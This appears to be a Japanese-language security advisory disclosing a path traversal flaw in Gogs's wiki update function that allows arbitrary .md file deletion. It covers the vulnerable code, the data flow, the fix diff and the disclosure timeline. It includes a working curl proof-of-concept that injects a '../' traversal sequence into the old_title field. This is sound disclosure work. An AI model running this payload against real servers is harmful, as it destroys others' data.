
Gogs における Wiki パストラバーサルによる任意のファイル削除
重大度: 高 (CVSS 7.5)
影響を受けるソフトウェア: Gogs <= 0.13.3
修正バージョン: 0.13.4, 0.14.0+dev
勧告: GHSA-jp7c-wj6q-3qf2
パッチ: gogs/gogs#8099
Gogs(Goで書かれた人気のセルフホスト型Gitサービス)のセキュリティ監査中に、updateWikiPage 関数にパストラバーサル脆弱性を発見しました。これにより、wiki書き込み権限を持つ認証済みユーザーが、wiki編集フォームの old_title パラメータにパストラバーサルシーケンスを注入することで、サーバー上の任意のファイルを削除できます。
この脆弱性は、internal/database/wiki.go における非対称なサニタイズ欠陥です。wikiページが更新されるとき、関数は2つのタイトルパラメータを異なる方法で処理します。
| パラメータ | サニタイズ? | 使用箇所 |
|---|---|---|
title(新しい名前) | はい — ToWikiPageName() を使用 | ファイル作成用の path.Join() |
oldTitle(以前の名前) | いいえ | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
oldTitle の値は、ユーザーが制御するフォーム入力からルートハンドラを経由して、パスのサニタイズなしに直接 os.Remove() へ渡されます。
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
前提条件: 任意のリポジトリwikiへの書き込みアクセス権を持つ認証済みユーザー。
/repo/wiki/edit へのPOSTリクエストを傍受するold_title フォームフィールドにパストラバーサルシーケンス(例: ../../../../tmp/target_file)を含むように変更する# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Result: /tmp/target_file.md is deleted from the server
.md 拡張子は自動的に追加されます。Gogsプロセスが書き込み権限を持つ、.md で終わる任意のファイルを削除できます。
| 影響 | 説明 |
|---|---|
| 任意ファイル削除 | Gogsプロセスが書き込み可能な任意の .md ファイルを削除できる |
| サービス拒否 (DoS) | 重要な設定ファイルやデータファイルを削除できる |
| データ損失 | 他のユーザーのwikiページ、ドキュメント、リポジトリファイルを破壊できる |
| 昇格の可能性 | 他の脆弱性と連鎖させて、さらなる侵害につながる可能性がある |
title に既に適用されているのと同じ ToWikiPageName サニタイズを oldTitle にも適用します:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
私は開示時にこの修正を提案し、Gogsメンテナーが PR #8099 で実装しました。
| 日付 | 出来事 |
|---|---|
| 2025-12-13 | セキュリティ監査中に脆弱性を発見 |
| 2025-12-13 | GitHub Security Advisory を通じて勧告を提出 (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Gogsメンテナーにフォローアップ |
| 2026-01-20 | メンテナーが脆弱性を認識 |
| 2026-01-22 | パッチがマージされた (#8099) |
| 2026-01-22 | GitHub によって CVE-2026-24135 が割り当てられた |
| 2026-02-06 | 公開開示 |